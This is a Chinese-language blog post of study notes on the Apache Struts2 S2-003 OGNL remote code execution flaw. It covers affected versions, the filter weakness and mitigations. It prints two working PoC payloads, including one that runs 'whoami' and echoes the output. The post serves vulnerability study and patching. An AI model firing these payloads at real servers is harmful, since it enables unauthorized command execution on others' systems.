(RCE)(Struts2)(笔记)s2-003漏洞学习笔记

写在前面

这篇文章是关于作者学习s2-003漏洞的笔记
关于这篇文章,如果有建议或问题请留言或联系h3llow0rld@foxmail.com

正文

漏洞分析

漏洞详情页
这个漏洞环境vulhub没有准备
可以在该仓库获取演示demo:环境代码获取
如果不会启动项目的,看看这篇文章
如果想远程调试,参考这篇文章

影响版本

Struts 2.0.0 - Struts 2.1.8.1

漏洞原理

struts会将接收到的参数当作OGNL进行解析,并且对接收到的参数的过滤机制有缺陷:在com.opensymphony.xwork2.interceptor.ParameterFilterInterceptor中,匹配用户输入的正则表达式为:

this.acceptedParamNames = "[\\p{Graph}&&[^,#:=]]*";
利用条件/测试情景

1.利用条件
默认配置即可
2.测试情景
struts2应用的任何页面都可以测试

利用方法

验证PoC:(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\%27calc\%27)%27)(bla)(bla)
如果是Linux,将calc替换为touch /tmp/success,然后检查tmp目录

有回显PoC:(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023mycmd\u003d\%27whoami\%27%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla))

如何修复
紧急处理方法(仅供参考)

在struts.xml中配置ParameterInterceptor来过滤恶意字符

<interceptor-ref name="params">
    <param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>

观察恶意流量的特征,设置安全设备的防护规则

补丁修复方法

官方为 OgnlValueStack 添加了新的 allowStaticMethodAccess 属性,该属性默认为false,禁止静态方法的调用,但是没有从根本上进行修复漏洞

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值